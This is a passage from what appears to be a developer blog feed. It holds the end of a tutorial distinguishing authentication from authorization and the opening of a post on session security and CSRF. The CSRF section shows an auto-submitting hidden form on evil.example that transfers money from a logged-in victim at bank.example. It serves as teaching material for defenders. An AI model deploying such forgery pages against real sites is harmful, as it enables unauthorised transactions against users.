&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both users can authenticate successfully.&lt;/p&gt;

&lt;p&gt;But they should not necessarily have the same permissions.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /admin/dashboard
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server should not only ask:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Is this user logged in?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It also needs to ask:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Is this user allowed to access the admin dashboard?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A simplified example might look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;viewAdminDashboard&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isAuthenticated&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Please log in&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Access denied&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Welcome to the admin dashboard&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first check is authentication.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isAuthenticated&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second check is authorization.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They solve different problems.&lt;/p&gt;

&lt;h2&gt;
  
  
  Being Logged In Is Not Enough
&lt;/h2&gt;

&lt;p&gt;One of the most common mistakes is assuming that authentication automatically provides authorization.&lt;/p&gt;

&lt;p&gt;Consider this request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /users/khg5293/profile
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server might read the authenticated user from the session.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sessionUser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now imagine the user changes the request manually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /users/admin/profile
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the server only checks whether the requester is logged in, the request might succeed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sessionUser&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;getProfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That code confirms that the requester is authenticated.&lt;/p&gt;

&lt;p&gt;But it never checks whether the authenticated user is authorized to view the requested profile.&lt;/p&gt;

&lt;p&gt;A safer approach would be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sessionUser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;requestedUser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;sessionUser&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Authentication required&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sessionUser&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;requestedUser&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Access denied&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;getProfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;requestedUser&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the server verifies both identity and permission.&lt;/p&gt;

&lt;h2&gt;
  
  
  Authentication Usually Comes First
&lt;/h2&gt;

&lt;p&gt;In many applications, the flow looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. User sends credentials
2. Server verifies credentials
3. Server creates a session
4. User sends a request
5. Server identifies the user from the session
6. Server checks whether that user is allowed to perform the requested action
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Steps 1 through 5 involve authentication.&lt;/p&gt;

&lt;p&gt;Step 6 is authorization.&lt;/p&gt;

&lt;p&gt;They are related, but they are separate security decisions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Authorization Should Be Checked on the Server
&lt;/h2&gt;

&lt;p&gt;Authorization checks should not rely only on the user interface.&lt;/p&gt;

&lt;p&gt;For example, a frontend application might hide an admin button:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;showAdminButton&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is useful for the interface.&lt;/p&gt;

&lt;p&gt;But hiding a button does not protect the server endpoint.&lt;/p&gt;

&lt;p&gt;An attacker can skip the browser interface completely and send requests directly.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;DELETE /api/users/123
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the backend does not perform its own authorization check, hiding the button provides no real protection.&lt;/p&gt;

&lt;p&gt;The server still needs something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/api/users/:id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Authentication required&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Forbidden&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;deleteUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;User deleted&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The frontend can improve usability.&lt;/p&gt;

&lt;p&gt;The backend must enforce security.&lt;/p&gt;

&lt;h2&gt;
  
  
  401 and 403 Are Different for the Same Reason
&lt;/h2&gt;

&lt;p&gt;HTTP status codes also reflect the difference between authentication and authorization.&lt;/p&gt;

&lt;p&gt;A &lt;code&gt;401 Unauthorized&lt;/code&gt; response usually means:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You have not successfully authenticated.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;401&lt;/span&gt; &lt;span class="ne"&gt;Unauthorized&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A &lt;code&gt;403 Forbidden&lt;/code&gt; response usually means:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The server knows who you are, but you are not allowed to perform this action.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;403&lt;/span&gt; &lt;span class="ne"&gt;Forbidden&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Despite the slightly confusing name of the &lt;code&gt;401 Unauthorized&lt;/code&gt; status code, the practical distinction is useful:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;401 -&amp;gt; Who are you?
403 -&amp;gt; You are not allowed to do that.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  A Simple Example
&lt;/h2&gt;

&lt;p&gt;Suppose &lt;code&gt;khg5293&lt;/code&gt; logs into an application.&lt;/p&gt;

&lt;p&gt;The server authenticates the user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;isAuthenticated&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the user tries to open a normal account page.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /account
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server allows it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isAuthenticated&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;showAccountPage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then the same user tries to access an administrative endpoint.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /admin/users
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server checks authorization.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Access denied&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user is still authenticated.&lt;/p&gt;

&lt;p&gt;The authentication did not fail.&lt;/p&gt;

&lt;p&gt;The authorization check failed.&lt;/p&gt;

&lt;p&gt;That is the key distinction.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the Difference Matters
&lt;/h2&gt;

&lt;p&gt;Security problems can appear when developers combine these concepts into a single question:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Is the user logged in?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That question is often not enough.&lt;/p&gt;

&lt;p&gt;Applications may also need to ask:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Who owns this resource?
What role does this user have?
Can this user perform this specific action?
Does this user belong to this organization?
Is this resource accessible to this account?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Those are authorization questions.&lt;/p&gt;

&lt;p&gt;A secure application should treat them separately from authentication.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;p&gt;Authentication establishes identity.&lt;/p&gt;

&lt;p&gt;Authorization establishes permission.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Authentication:
"Who are you?"

Authorization:
"What are you allowed to do?"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A user can pass authentication successfully and still fail authorization.&lt;/p&gt;

&lt;p&gt;Keeping those concepts separate makes application security easier to reason about and helps prevent situations where a valid user gains access to something they were never supposed to reach.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>security</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Your Session Cookie Is Basically a Temporary Password - Part 2</title>
      <dc:creator>khg5293</dc:creator>
      <pubDate>Tue, 22 Sep 2026 04:09:44 +0000</pubDate>
      <link>https://dev.to/khg5293/your-session-cookie-is-basically-a-temporary-password-part-2-15c8</link>
      <guid>https://dev.to/khg5293/your-session-cookie-is-basically-a-temporary-password-part-2-15c8</guid>
      <description>&lt;p&gt;In Part 1, we looked at the basics:&lt;/p&gt;

&lt;p&gt;How sessions work, why cookies matter, and why attributes like &lt;code&gt;HttpOnly&lt;/code&gt;, &lt;code&gt;Secure&lt;/code&gt;, and &lt;code&gt;SameSite&lt;/code&gt; are important.&lt;/p&gt;

&lt;p&gt;But secure cookie settings are only one part of session security.&lt;/p&gt;

&lt;p&gt;A session has a lifecycle.&lt;/p&gt;

&lt;p&gt;It is created, authenticated, used, refreshed, expired, and eventually destroyed.&lt;/p&gt;

&lt;p&gt;Problems can happen at any point in that lifecycle.&lt;/p&gt;

&lt;p&gt;In this post, we'll look at some of the less obvious session security issues developers should understand.&lt;/p&gt;

&lt;h2&gt;
  
  
  CSRF: When the Browser Helps the Attacker
&lt;/h2&gt;

&lt;p&gt;One of the strange things about cookies is that browsers send them automatically.&lt;/p&gt;

&lt;p&gt;That is convenient for users.&lt;/p&gt;

&lt;p&gt;It is also exactly why CSRF exists.&lt;/p&gt;

&lt;p&gt;Imagine a user is logged into:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bank.example
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Their browser has:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Cookie: session_id=a8f19d27c4e91b72
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the user visits:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;evil.example
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That page contains something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"https://bank.example/transfer"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"amount"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"500"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"to"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"attacker"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forms&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker does not need to know the victim's session cookie.&lt;/p&gt;

&lt;p&gt;The browser may attach it automatically when sending the request to &lt;code&gt;bank.example&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;From the server's perspective, the request could arrive with a valid authenticated session.&lt;/p&gt;

